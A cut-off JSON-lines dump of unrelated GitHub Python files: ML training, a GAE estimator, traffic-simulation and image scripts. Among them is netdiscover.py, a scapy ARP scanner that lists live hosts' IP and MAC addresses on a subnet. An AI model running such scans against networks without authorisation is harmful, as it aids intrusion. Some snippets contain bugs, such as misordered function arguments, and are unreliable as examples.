os.listdir(outDir):\n os.remove(f\"{outDir}/{f}\")\n\n dirlist = os.listdir(args.dir)\n if args.count:\n dirlist = sample(dirlist, args.count)\n \n infiles = (f\"{args.dir}/{f}\" for f in dirlist)\n\n def to_png(filename):\n splits = filename.split('.')\n return f\"{splits[0]}.png\"\n outfiles = (f\"{outDir}/{to_png(f)}\" for f in dirlist) \n \n logger.info=(f'starting multiprocess pool iterating over files in {args.dir}')\n pool = Pool(4)\n results = pool.starmap(generate_file, zip(infiles, outfiles))","repo_name":"rgasper/RHCR","sub_path":"synthetic_data_generation/traindatagen.py","file_name":"traindatagen.py","file_ext":"py","file_size_in_byte":10811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74167357208","text":"import keras\nimport pandas as pd\nimport numpy as np\nfrom keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense, Dropout, Activation\nfrom keras.utils import np_utils\nfrom keras.optimizers import RMSprop\nfrom sklearn.model_selection import train_test_split\nnb_epoch = 20 #Number of times the whole data is used to learn\n\n\ndata = pd.read_csv('mnist_train.csv',header=None)\ndata = data.apply(pd.to_numeric)\ndata_array = data.as_matrix()\nX, X_test, y, y_test = train_test_split(data_array[:,0:784],data_array[:,-1],test_size=0.2)\n\n \n#Make the value floats in [0;1] instead of int in [0;255]\nX= X.astype('float32')\nX_test = X_test.astype('float32')\nX /= 255\nX_test /= 255\n \n#Display the shapes to check if everything's ok\nprint(X.shape[0], 'train samples')\nprint(X_test.shape[0], 'test samples')\n \n# convert class vectors to binary class matrices (ie one-hot vectors)\ny = np_utils.to_categorical(y)\nY_test = np_utils.to_categorical(y_test)\n\n#Define the model achitecture\nmodel = Sequential()\nmodel.add(Dense(512, input_shape=(784,)))\nmodel.add(Activation('relu'))\n#model.add(Dropout(0.2))\nmodel.add(Dense(512))\nmodel.add(Activation('relu'))\n#model.add(Dropout(0.2))\nmodel.add(Dense(10)) #Last layer with one output per class\nmodel.add(Activation('softmax')) #We want a score simlar to a probability for each class\n \n\nrms = RMSprop()\n#The function to optimize is the cross entropy between the true label and the output (softmax) of the model\nmodel.compile(loss='categorical_crossentropy', optimizer=rms, metrics=[\"accuracy\"])\n \n#Make the model learn\nmodel.fit(X, y, nb_epoch=nb_epoch,\nverbose=2,\nvalidation_data=(X_test, Y_test))\n \n#Evaluate how the model does on the test set\nscore = model.evaluate(X_test, Y_test, verbose=0)\n \nprint('Test score:', score[0])\nprint('Test accuracy:', score[1])","repo_name":"def4ultx/pattern_project","sub_path":"digit.py","file_name":"digit.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42158240193","text":"# A Prorgram to Demostrate while loop in Python\n#Author: Prakash\n\nimport os \n\nn = 0;\n\nwhile (n > 5): #This loop will not be executed since i is not greater than 5\n print(\"n is Greater than that of 5\")\n \n# while (n < 5): #This loop will be executed since i is less than 5(Infinity Loop since n will always be less then 5)\n# print(\"n is Greater than that of 5\")\n \n \nwhile (n < 5): #This loop will be executed since i is less than 5 \n #(i is increaesd by 1 in each iteration so loop will end when i is greater then 5)\n #Loop will end after printing i 5 times\n print(\"n is Greater than that of 5, n is currently: \" + str(n))\n n+=1\n \nprint(\"Done!\")\n\n\n\n\n","repo_name":"sagargoswami2001/MyCode-For-CodeWithHarry-Python-video","sub_path":"Chapter 7/01_While_loop.py","file_name":"01_While_loop.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"70460958169","text":"import urllib.request\nfrom urllib.parse import quote\nfrom json import loads\n\ndef getDefinition(word):\n\tapp_id = 'your app id'\n\tapp_key = 'your app key'\n\toption = 'entries'\n\tlanguage_code = 'es'\n\tword_encoded = quote(word)\n\turl = f'https://od-api.oxforddictionaries.com/api/v2/{option}/{language_code}/{word_encoded}'\n\treq = urllib.request.Request(url)\n\treq.add_header('app_id', app_id)\n\treq.add_header('app_key', app_key)\n\ttry:\n\t\tres = urllib.request.urlopen(req)\n\texcept Exception:\n\t\traise ValueError('No se encontraron resultados')\n\tdata = loads(res.read())\n\treturn data['results'][0]['lexicalEntries'][0]['entries'][0]['senses'][0]['definitions'][0]","repo_name":"armandveloper/git-python-dictionary-app","sub_path":"diccionario.py","file_name":"diccionario.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14435982513","text":"#/bin/env python3\n#\n# input_num = 8\n# max_product = 0\n# num1 = 0\n# num2 = 0\n#\n# for i in range(1, input_num // 2 + 1):\n# j = input_num - i\n# product = i * j\n# if product > max_product:\n# max_product = product\n# num1 = i\n# num2 = j\n#\n# print(f\"Input: {input_num}\")\n# print(f\"Largest product: {max_product}\")\n# print(f\"Numbers: ({num1}, {num2})\")\n\ndef find_largest_product(input_num):\n max_product = 0\n num1 = 0\n num2 = 0\n\n for i in range(1, input_num // 2 + 1):\n j = input_num // i\n if i * j == input_num and j >= i:\n product = i * j\n if product > max_product:\n max_product = product\n num1 = i\n num2 = j\n\n return (num1, num2)\n\n# Example usage\ninput_num = 8\nresult = find_largest_product(input_num)\nprint(f\"Input: {input_num}\")\nprint(f\"Largest product: {input_num}\")\nprint(f\"Numbers: {result}\")\n","repo_name":"MartinRJDagleish/Scripts","sub_path":"dbg_scenso/V2/test_python.py","file_name":"test_python.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43446193447","text":"from typing import Tuple\nimport torch\n\n@torch.no_grad()\ndef estimate_advantage(rewards: torch.Tensor,\n values: torch.Tensor,\n dones: torch.Tensor,\n last_value: torch.Tensor,\n last_done: torch.Tensor,\n n_steps: int,\n gamma: float,\n gae_lambda: float = 1.0) -> Tuple[torch.Tensor, torch.Tensor]:\n \"\"\"\n Estimate the advantage from an n-step rollout using generalized advantage estimation (GAE)\n\n Parameters\n ----------\n rewards : torch.Tensor\n _description_\n dones : torch.Tensor\n _description_\n values : torch.Tensor\n _description_\n last_done : torch.Tensor\n _description_\n last_value : torch.Tensor\n _description_\n n_steps : int\n _description_\n gamma : float\n _description_\n lam : float\n _description_\n\n Returns\n -------\n _type_\n _description_\n \"\"\"\n advantages = torch.zeros_like(rewards)\n last_advantage_estimate = 0\n for t in reversed(range(n_steps)):\n if t == n_steps - 1:\n next_non_terminal = 1.0 - last_done\n next_values = last_value\n else:\n next_non_terminal = 1.0 - dones[t + 1]\n next_values = values[t + 1]\n delta = rewards[t] + gamma * next_values * next_non_terminal - values[t]\n advantages[t] = last_advantage_estimate = delta + gamma * \\\n gae_lambda * next_non_terminal * last_advantage_estimate\n returns = advantages + values\n\n return advantages, returns\n\n\nif __name__ == '__main__':\n n_steps = 512\n gamma = 0.99\n lam = 0.95\n torch.manual_seed(0)\n rewards = torch.rand(n_steps)\n dones = torch.rand(n_steps)\n values = torch.ones(n_steps)\n last_done = torch.rand(1)\n last_value = torch.rand(1)\n a, r = estimate_advantage(rewards, dones, values, last_done,\n last_value, n_steps, gamma, lam)\n print(a)\n","repo_name":"ShaneFlandermeyer/lightning-rl","sub_path":"lightning_rl/common/advantage.py","file_name":"advantage.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"31640679218","text":"import numpy as np \nimport pandas as pd \nimport geopandas as gpd\n\ndef veh_offset(x1, y1, x2, y2):\n # tangential slope approximation\n tangent = (x2-x1, y2-y1)\n perp = (y2-y1, -(x2-x1))\n mode = np.sqrt(perp[0]**2+perp[1]**2)\n mid_x = (x1 + x2) / 2\n mid_y = (y1 + y2) / 2\n\n delta_x = perp[0]/mode*1.75\n delta_y = perp[1]/mode*1.75\n\n return (mid_x + delta_x, mid_y + delta_y), (tangent[0]/mode, tangent[1]/mode)\n\ndef extract_vehicle_locations(network, t):\n links_dict = network.links.copy()\n queue_vehicle_position = []\n run_vehicle_position = []\n\n for link_id, link in links_dict.items():\n \n ### skip virtual links\n if link.link_type == 'v':\n continue\n\n ### link stats\n link_fft = link.fft\n link_geometry = link.geometry\n link_length = link.geometry.length\n\n ### queuing\n queue_end = link_length - 4\n for q_veh_id in link.queue_vehicles:\n q_veh_loc = queue_end\n queue_end = max(queue_end-8, 4)\n q_veh_coord_1 = link_geometry.interpolate(q_veh_loc/link_length-0.001, normalized=True)\n q_veh_coord_2 = link_geometry.interpolate(q_veh_loc/link_length+0.001, normalized=True)\n q_veh_coord_offset, q_veh_dir = veh_offset(q_veh_coord_1.x, q_veh_coord_1.y, q_veh_coord_2.x, q_veh_coord_2.y)\n queue_vehicle_position.append([q_veh_id, 'q', link_id, q_veh_coord_offset[0], q_veh_coord_offset[1], q_veh_dir[0], q_veh_dir[1]])\n\n ### running\n for r_veh_id in link.run_vehicles:\n r_veh_current_link_enter_time = network.agents[r_veh_id].current_link_enter_time\n if link_length*(t-r_veh_current_link_enter_time)/link_fft>queue_end:\n r_veh_loc = queue_end\n queue_end = max(queue_end-8, 0)\n else:\n r_veh_loc = link_length*(t-r_veh_current_link_enter_time)/link_fft\n r_veh_loc = max(r_veh_loc, 4)\n r_veh_coord_1 = link_geometry.interpolate(r_veh_loc/link_length-0.001, normalized=True)\n r_veh_coord_2 = link_geometry.interpolate(r_veh_loc/link_length+0.001, normalized=True)\n r_veh_coord_offset, r_veh_dir = veh_offset(r_veh_coord_1.x, r_veh_coord_1.y, r_veh_coord_2.x, r_veh_coord_2.y)\n run_vehicle_position.append([r_veh_id, 'r', link_id, r_veh_coord_offset[0], r_veh_coord_offset[1], r_veh_dir[0], r_veh_dir[1]])\n \n veh_df = pd.DataFrame(queue_vehicle_position + run_vehicle_position, columns=['veh_id', 'status', 'link_id', 'lon_offset_utm', 'lat_offset_utm', 'dir_x', 'dir_y'])\n veh_df['lon_offset_sumo'] = veh_df['lon_offset_utm']-525331.68\n veh_df['lat_offset_sumo'] = veh_df['lat_offset_utm']-4194202.74\n # print(veh_df.iloc[0])\n # print(veh_df['lon_offset_utm'].iloc[0], veh_df['lon_offset_utm'].iloc[0]-518570.38)\n # veh_df.to_csv(simulation_outputs+'/veh_loc_interpolated/veh_loc_t{}.csv'.format(t), index=False)\n veh_gdf = gpd.GeoDataFrame(veh_df, crs='epsg:32610', geometry=gpd.points_from_xy(veh_df.lon_offset_utm, veh_df.lat_offset_utm))\n # veh_gdf.loc[veh_gdf['veh_id']==game_veh_id, 'status'] = 'g'\n\n return veh_gdf","repo_name":"cb-cities/spatial_queue","sub_path":"game/extract_vehicle_locations.py","file_name":"extract_vehicle_locations.py","file_ext":"py","file_size_in_byte":3174,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"31"} +{"seq_id":"27904610679","text":"#!/usr/bin/python3.10\nimport optparse\n\nimport scapy.all as scapy\nimport argparse\n\ndef get_arguments():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-t\", \"--target\", dest=\"target\", help=\"IP Жертвы: 192.168.0.1 / Диапазон IP - 192.168.0.0/24\")\n options = parser.parse_args()\n return options\n\n# сканирование по протоколу arp - вывод клиентов сети\n\"\"\"нужно создать пакет и направаить на широковещательный адрес\"\"\"\ndef scan(ip):\n arp_request = scapy.ARP(pdst=ip) # переменная, которая содердит экземпляр объекта АРП пакета для пула IP\n broadcast = scapy.Ether(dst=\"FF:FF:FF:FF:FF:FF\") #отправка пакета на широковещательный адрес\n arp_request_broadcast = broadcast/arp_request #создаем новый пакет, объединяя арп и бродкаст\n answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0] #вручную отправка па��етов, которая содержит\n # Ether и запись в переменную, которая будет содержать пару из 2 списков (отвеченные пакеры и неотвеченные)\n # timeout нужен для ограничения времени ожидания ответа (1 секунда)\n # verbose= False убирает лишнюю информацию в терминале\n\n client_list = [] #список для словарей из цикла\n\n for element in answered_list:\n client_dict = {\"ip\": element[1].psrc, \"mac\": element[1].hwsrc} #создаем словарь для каждого элемента нашего большого списка,\n # где забираем через параметры psrc и hwsrc IP и MAC соответственно\n client_list.append(client_dict) #доваление словаря в список\n return client_list\n\n\ndef print_result(results_list):\n print(\"IP\\t\\t\\tAt MAC Address\\n----------------------------------------------------------------------------------\") #вывод заголовка таблицы\n for client in results_list: #через цикл мы вытягиваем из словоря по ключам значения IP и MAC\n print(client[\"ip\"] + \"\\t\\t\" + client[\"mac\"])\n print(\"----------------------------------------------------------------------------------\")\n\n\noptions = get_arguments()\nscan_result = scan(options.target)\nprint_result(scan_result)\n","repo_name":"8owl8/python_scripts","sub_path":"netdiscover.py","file_name":"netdiscover.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"39599264624","text":"import threading\nimport os\nimport random\nimport numpy as np\nfrom copy import deepcopy\nfrom PIL import Image\nTHREAD_NUM = 16\nPATH = os.path.dirname(os.path.realpath(__file__))\nOUT_PATH = os.path.join(PATH,'output/')\nif not os.path.exists(OUT_PATH):\n os.mkdir(OUT_PATH)\n\nclass myThread (threading.Thread):\n def __init__(self, threadID, name, file_list):\n threading.Thread.__init__(self)\n self.threadID = threadID\n self.name = name\n self.file_list = file_list\n \n def getImageName(self, filename):\n index = len(filename)-1\n while not filename[index]=='\\\\' and index>0:\n index=index-1\n index_dot = filename[-5:].find('.')\n return filename[index:index_dot-5]\n \n def process(self, image, filename):\n width, length = image.size\n min_length = min(width, length)\n # # TEST CROP ONLY\n # x=image.crop((333,253,1285,1553))\n # x.save(filename+'.jpg','JPEG')\n # return\n # #TEST END\n current_length = 32\n while min_length//current_length>32:\n current_length=current_length*2\n \n count =0\n while current_length<=min_length:\n left_bound = width-current_length\n up_bound = length-current_length\n multi_num = (length//current_length+1)*(width//current_length+1)\n if multi_num>10:\n multi_num=10\n pos = [(np.random.randint(left_bound) if left_bound!=0 else 0,np.random.randint(up_bound) if up_bound!=0 else 0) for i in range(multi_num)]\n pos = [(i[0],i[1],i[0]+current_length,i[1]+current_length) for i in pos]\n for i in pos:\n region = image.crop(i)\n region.thumbnail((32,32,))\n region.save(filename+'_X'+str(current_length)+'_'+str(count)+'.jpg','JPEG')\n count=count+1\n current_length = current_length*4\n\n def run(self):\n for i in self.file_list:\n try:\n imageIn=Image.open(i)\n except IOError:\n print(\"cannot convert\", imageIn)\n self.process(imageIn,OUT_PATH+self.getImageName(i))\n \n\n# Get picture filenames\npic_names = []\npic_end = {'jpg','png','JPG','PNG','jpeg','JPEG'}\nfor i in os.walk(PATH):\n for j in i[2]:\n if (j[-3:] in pic_end) or (j[-4:] in pic_end):\n pic_names.append(os.path.join(i[0],j))\nrandom.shuffle(pic_names)\n\nthreads = []\nbatch_size = len(pic_names)//THREAD_NUM\n# if batch_size<1:\n# THREAD_NUM=0\n# batch_size = len(pic_names)\nfor i in range(THREAD_NUM):\n start_index = batch_size*i\n end_index = (start_index+batch_size) if not i==THREAD_NUM-1 else len(pic_names)\n threads.append(myThread(i,'thread'+str(i),pic_names[start_index:end_index]))\nfor i in threads:\n i.start()\nfor i in threads:\n i.join()","repo_name":"taohnouaccountb/VAE-Git","sub_path":"PicProcess/PicProcess.py","file_name":"PicProcess.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22654021366","text":"#! /usr/bin/python3\n\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output, State\nimport plotly.graph_objects as go\nimport numpy as np\nimport pandas\nimport types\n\n\n# /!\\ change NB_STEP_COEF to have a higher-density line on the bifurq\n# plot, or make it smaller to improve the plotting performance\n\nNB_STEP_COEF = 250 # number of X ticks on the bifurq plot\n\nN_COMPUTE = 80 # iterate N times over r*x*(1-x)\nKEEP = 15 # keep the last N numbers of the r*x*(1-x) tail\nROUND = 3 # round float to N decimal digits\n\nDEFAULTS = types.SimpleNamespace()\n# initial values of UI controls\nDEFAULTS.INITIAL_VALUE = 0.6\nDEFAULTS.START_COEF = 1\nDEFAULTS.END_COEF = 4\nDEFAULTS.FOCUS_COEF = 3.56\nDEFAULTS.SHOW_FULL = \"yes\"\nZOOM = \"---\"\n\nZOOMS = {\n \"---\": (0, 0, 0),\n 0: (DEFAULTS.START_COEF, DEFAULTS.END_COEF, DEFAULTS.FOCUS_COEF),\n 1: (3, 3.8, DEFAULTS.FOCUS_COEF),\n 2: (3.45, 3.8, DEFAULTS.FOCUS_COEF),\n 3: (3.543, 3.58, DEFAULTS.FOCUS_COEF),\n}\n\nexternal_stylesheets = [# 'https://codepen.io/chriddyp/pen/bWLwgP.css' # served via assets/bWLwgP.css and automatically included\n]\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets,\n suppress_callback_exceptions=True,\n)\n\ndef build_layout(vals=None):\n if not vals: vals = DEFAULTS\n\n return html.Div([\n html.Div([\n html.Div(className='two columns', children=[\n \"Initial value: \", html.Span(id='span-initial-value'), html.Br(),\n dcc.Slider(id='input-initial-value', value=vals.INITIAL_VALUE, step=0.1, min=0, max=1), html.Br(),\n \"Start coef \", html.Br(),\n dcc.Input(id='input-start-coef', value=vals.START_COEF, type='number'), html.Br(),\n \"End coef \", html.Br(),\n dcc.Input(id='input-end-coef', value=vals.END_COEF, type='number'), html.Br(),\n \"Zoom: \",\n dcc.Dropdown(id='input-zoom', value=ZOOM, options=[{'label':i, 'value': i} for i in ZOOMS], clearable=False, style={\"width\": \"164px\"}),\n ]),\n html.Div(className='ten columns', children=[\n dcc.Graph(id='graph-overview')\n ]),\n ]),\n html.Hr(),\n html.Div([\n html.Div(className='two columns', children=[\n html.Hr(),\n \"Focus on coefficient \", html.Br(),\n dcc.Input(id='input-focus-coef', value=vals.FOCUS_COEF, type='number', step=0.001),\n\n dcc.RadioItems(id='input-show-full', value=vals.SHOW_FULL,\n options=[{'label': 'Show the full population evolution', 'value': 'yes'},\n {'label': 'Show only the tail', 'value': 'no'}]),\n html.Hr(),\n html.Div(id='focus-solutions', children=[\"...\"]),\n html.Hr(),\n html.P(html.A('Permalink', href='', id='permalink'))\n ]),\n html.Div(className='five columns', children=[\n dcc.Graph(id='graph-focus'),\n ]),\n html.Div(className='five columns', children=[\n dcc.Graph(id='graph-distrib'),\n ]),\n ]),\n ])\n\napp.layout = html.Div([html.Div(id='page-content'),\n dcc.Location('url', refresh=False)])\n\ndef compute_evolution(start, r, full=False):\n x = start\n vals = [x]\n for _ in range(N_COMPUTE):\n x = r*x*(1-x)\n vals.append(x)\n\n return vals if full else vals[-KEEP:]\n\nINPUT_NAMES = [i.lower().replace(\"_\", \"-\") for i in DEFAULTS.__dict__]\n@app.callback(\n Output('permalink', 'href'),\n [Input(f\"input-{input_name}\", 'value') for input_name in INPUT_NAMES])\ndef get_permalink(*args):\n return \"?\"+\"&\".join(f\"{k}={v}\" for k, v in zip(INPUT_NAMES, map(str, args)))\n\n@app.callback(Output('page-content', 'children'),\n [Input('url', 'search')])\ndef display_page(search):\n import urllib.parse\n search_dict = urllib.parse.parse_qs(search[1:]) if search else {}\n\n def get_val(k):\n try: v = search_dict[k.lower().replace(\"_\", \"-\")][0]\n except KeyError: return None\n\n try: return int(v)\n except ValueError: pass\n\n try: return float(v)\n except ValueError: pass\n\n return v\n\n input_dict = {k:get_val(k) for k in DEFAULTS.__dict__ if get_val(k)}\n new_initial_values = types.SimpleNamespace()\n new_initial_values.__dict__.update(DEFAULTS.__dict__) # make sure no value is missing\n new_initial_values.__dict__.update(input_dict)\n\n return build_layout(new_initial_values)\n\n@app.callback(\n [Output('input-start-coef', 'value'),\n Output('input-end-coef', 'value'),\n Output('input-focus-coef', 'value')],\n [Input('input-zoom', 'value'), Input('graph-overview', 'clickData')])\ndef update_coef(zoom, clickData):\n trigger = dash.callback_context.triggered[0][\"prop_id\"]\n\n if trigger.startswith('graph-overview'):\n if not clickData: # nothing was clicked (app is loading)\n return dash.no_update, dash.no_update, dash.no_update\n\n return dash.no_update, dash.no_update, round(clickData['points'][0]['x'], 2)\n\n # triggered by click on zoom\n\n if zoom == \"---\":\n return dash.no_update, dash.no_update, dash.no_update\n\n try:\n return ZOOMS[zoom]\n except KeyError:\n return START_COEF, END_COEF, FOCUS_COEF\n\n@app.callback(\n Output('graph-focus', 'figure'),\n [Input('input-initial-value', 'value'),\n Input('input-focus-coef', 'value'),\n Input('input-show-full', 'value')])\ndef draw_focus(init_value, coef, str_full):\n if None in (init_value, coef):\n return dash.no_update\n\n full = str_full == \"yes\"\n y = compute_evolution(init_value, coef, full=full)\n\n x = range(N_COMPUTE) if full else range(N_COMPUTE-KEEP, N_COMPUTE)\n\n fig = go.Figure(data=go.Scatter(x=list(x), y=y))\n\n fig.update_layout(title={\n 'text': \"Population Evolution\",\n 'y':0.9, 'x':0.5, 'xanchor': 'center', 'yanchor': 'top'})\n\n return fig\n\n@app.callback(\n Output('span-initial-value', 'children'),\n [Input('input-initial-value', 'value')])\ndef update_initial_value(value):\n return str(value)\n\n@app.callback(\n [Output('graph-overview', 'figure'), Output('graph-distrib', 'figure')],\n [Input('input-initial-value', 'value'), Input('input-focus-coef', 'value'),\n Input('input-start-coef', 'value'), Input('input-end-coef', 'value'),])\ndef draw_overview(init_value, focus_coef, start_coef, end_coef):\n if None in (init_value, focus_coef, end_coef, start_coef):\n return [dash.no_update, dash.no_update]\n\n step_coef = (end_coef-start_coef) / NB_STEP_COEF\n\n print(\"Start\", start_coef, end_coef, start_coef)\n x = []\n overview_y = []\n current_coef = start_coef\n\n count_x = []\n count_y = []\n first_value = None\n\n while current_coef <= end_coef:\n vals = compute_evolution(init_value, current_coef)\n if first_value is None: first_value = max(vals)\n count_x.append(current_coef)\n count_y.append(len({round(v, ROUND) for v in vals}))\n\n for v in vals:\n if v < first_value: continue\n\n x.append(current_coef)\n overview_y.append(v)\n\n current_coef += step_coef\n\n focus_y = [] if not first_value or focus_coef < start_coef or focus_coef > end_coef else \\\n [v for v in compute_evolution(init_value, focus_coef) if v > first_value]\n\n fig_overview = go.Figure(data=[go.Scatter(x=x, y=overview_y, mode=\"markers\"),\n go.Scatter(x=[focus_coef for _ in focus_y], y=focus_y,\n mode=\"markers\", marker=dict(color=\"red\"))])\n fig_overview.update_layout(showlegend=False)\n fig_overview.update_layout(title={\n 'text': \"Bifurcation Diagram\",\n 'y':0.9, 'x':0.5, 'xanchor': 'center', 'yanchor': 'top'})\n print(\"Done\")\n\n has_coef = [y for x, y in zip(count_x, count_y) if x <= focus_coef]\n\n focus_coef_count = has_coef[-1] if has_coef else 0\n\n fig_count = go.Figure(data=[go.Scatter(x=count_x, y=count_y)])\n\n fig_count.update_layout(title={\n 'text': \"Number of solution\",\n 'y':0.9, 'x':0.5, 'xanchor': 'center', 'yanchor': 'top'})\n\n fig_count.update_layout(\n annotations=[\n go.layout.Annotation(\n x=focus_coef,\n y=focus_coef_count,\n xref=\"x\", yref=\"y\", text=f\"coef {focus_coef}: {focus_coef_count} solutions\",\n showarrow=True, arrowhead=7,\n ax=-40, ay=-40,\n )\n ]\n )\n return fig_overview, fig_count\n\n@app.callback(\n Output('focus-solutions', 'children'),\n [Input('graph-overview', 'figure')],\n [State('input-focus-coef', 'value')])\ndef update_solutions(graph, focus_coef):\n if not graph:\n return \"Solutions not computed yet.\"\n\n solutions = graph['data'][1]['y']\n sol_str = \", \".join(sorted({f\"{s:.3f}\" for s in solutions}))\n return html.Span([f\"Solutions for coef={focus_coef}:\", html.Br(), sol_str])\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n","repo_name":"kpouget/bifurq","sub_path":"bifurq.py","file_name":"bifurq.py","file_ext":"py","file_size_in_byte":9139,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"19890134968","text":"import csv\nimport numpy as np\nfrom claseEmpleado import Empleado\nfrom ClaseExterno import Externo\nfrom Contratados import Contratado\nfrom Planta import Planta\n\nclass ManejadorEmpleado:\n __dimension = int\n __cantidad = int\n __incremento = 0\n def __init__(self, dimension, incremento):\n self.__dimension = dimension\n self.__incremento = incremento\n self.__cantidad = 0\n self.__empleados = np.empty(self.__dimension, dtype=Empleado)\n \n \n def Agregar_Empleado(self, empleado):\n if isinstance(empleado, Empleado):\n self.__dimension += self.__incremento\n self.__empleados.resize(self.__dimension)\n self.__empleados[self.__cantidad] = empleado\n self.__cantidad += 1\n \n \n def CargarContratados(self):\n archivo = open(\"contratados.csv\", encoding='UTF-8')\n reader = csv.reader(archivo, delimiter = ';')\n cabecera = True\n for fila in reader:\n if cabecera:\n cabecera = False\n else:\n contratados = Contratado(int(fila[1]), fila[0], fila[2], fila[3], fila[4], fila[5], int(fila[6]))\n self.Agregar_Empleado(contratados)\n archivo.close()\n \n \n def CargarPlanta(self):\n archivo2 = open(\"planta.csv\", encoding='UTF-8')\n reader = csv.reader (archivo2, delimiter = ';')\n cabecera = True\n for fila in reader: \n if cabecera:\n cabecera = not cabecera\n else:\n Planta1 = Planta(int(fila[1]), fila[0],fila[2], fila[3], float(fila[4]), int(fila[5]))\n self.Agregar_Empleado(Planta1)\n archivo2.close()\n \n def CargarExterno(self):\n archivo3 = open(\"externos.csv\", encoding='UTF-8')\n reader = csv.reader (archivo3, delimiter = ';')\n cabecera = True\n for fila in reader: \n if cabecera:\n cabecera = not cabecera\n else:\n Externo1 = Externo(int(fila[1]), fila[0], fila[2], fila[3], fila[4], fila[5], fila[6], float(fila[7]), float(fila[8]), float(fila[9]))\n self.Agregar_Empleado(Externo1)\n archivo3.close()\n \n def mostrarEmpleados (self):\n print(\"----Mostramos el listado de Empledos----\\n\")\n for i in range(self.__cantidad):\n self.__empleados[i].mostrar()\n \n #apartado 1\n def buscar (self, doc, canth):\n band = False\n i = 0\n while (i < (self.__cantidad) and band == False):\n if (self.__empleados[i].getdni() == doc):\n if isinstance(self.__empleados[i], Contratado): \n band = True\n self.__empleados[i].setCantHoras(canth)\n print(\"{:+^50}\". format(\"\"))\n print(\"La persona {} incremento sus horas de trabajo\".format(self.__empleados[i].getnombre()))\n print(\"{:=^34}\".format(\"\"))\n else:\n print(\"La persona ingresada no es un empleado de tipo Contratado\\n\")\n i += 1\n #apartado 2 \n def monto(self, fecha, tarea):\n band = False\n acum=0\n for i in range (len(self.__empleados)):\n if isinstance(self.__empleados[i], Externo):\n if (self.__empleados[i].gettarea() == tarea):\n print(\"Tarea encontrada\")\n band=True\n \n if (self.__empleados[i].getfechaF() > fecha):\n acum += self.__empleados[i].getsueldo()\n if acum < 0:\n print(\"La tarea ya fue terminada\")\n else:\n print(\"{:/^60}\".format(\"\"))\n print (\"La tarea {}, ha sido finalizada con un monto total de {:.2f}\" .format(tarea, acum))\n print(\"{:/^60}\".format(\"\"))\n \n #apartado 3\n def ayuda(self):\n ayuda = 150000\n for i in range (self.__dimension):\n if isinstance(self.__empleados[i], Empleado):\n if (self.__empleados[i].getsueldo() < 150000):\n solidaridad = self.__empleados[i].getsueldo() + ayuda\n self.__empleados[i].setsueldo(solidaridad)\n print(\"{:-^100}\".format(\"\"))\n print (\"Se le brindo ayuda al empleado con Nombre: {}, Dni: {} y Direccion: {}\" .format(self.__empleados[i].getnombre(), self.__empleados[i].getdni(), self.__empleados[i].getdireccion()))\n","repo_name":"CristianAlv/Unidad-3-2023","sub_path":"Ejercicio 4/manejadorEmpleado.py","file_name":"manejadorEmpleado.py","file_ext":"py","file_size_in_byte":4693,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73217974168","text":"import datetime\nimport typing\n\n\ndef parse_timedelta(delta: typing.Optional[str]) -> typing.Optional[datetime.timedelta]:\n if delta is None:\n return None\n options = dict()\n for token in delta.split():\n unit = token[-1]\n value = int(token[:-1])\n if unit == \"S\":\n options[\"seconds\"] = value\n elif unit == \"M\":\n options[\"minutes\"] = value\n elif unit == \"H\":\n options[\"hours\"] = value\n elif unit == \"W\":\n options[\"weeks\"] = value\n else:\n raise ValueError(\"No such delta period\")\n return datetime.timedelta(**options)\n","repo_name":"asanikushin/shop-systems","sub_path":"utils/times.py","file_name":"times.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40842189976","text":"#!/usr/bin/env python\n#Oppgave 1: Utskrift og innlesing med variabler\n\n#DEL 1.2-1.3\nnavn = input(\"Ditt navn: \")\nprint(\"Hei \" + navn + \"!\")\n\n#DEL 1.4-1.5\nheltall1 = int(input(\"Skriv inn heltall1: \"))\nheltall2 = int(input(\"Skriv inn heltall2: \"))\ndiff = tall1-tall2\nprint(\"Differenase: \")\nprint(diff)\n\n#DEL 1.6\nnavn1 = input(\"Skriv inn navn1: \")\nnavn2 = input(\"Skriv inn navn2: \")\nsammen = navn1 + navn2\nprint(sammen)\n\n#DEL 1.7\nog = \" og \"\nposition = len(navn1)\nnySammen = sammen[:position] + og + sammen[position:]\nprint(nySammen)\n","repo_name":"yastaheran/Litt-Paa-Sia","sub_path":"Python/Oblig-IN1000/oblig1/variabler.py","file_name":"variabler.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43742480642","text":"import cv2\nimport numpy as np\n\ncap = cv2.VideoCapture(0)\ncount = 0\ndef count_frames(count):\n if count % 2 !=0:\n cv2.imshow('window',cropped)\n else:\n 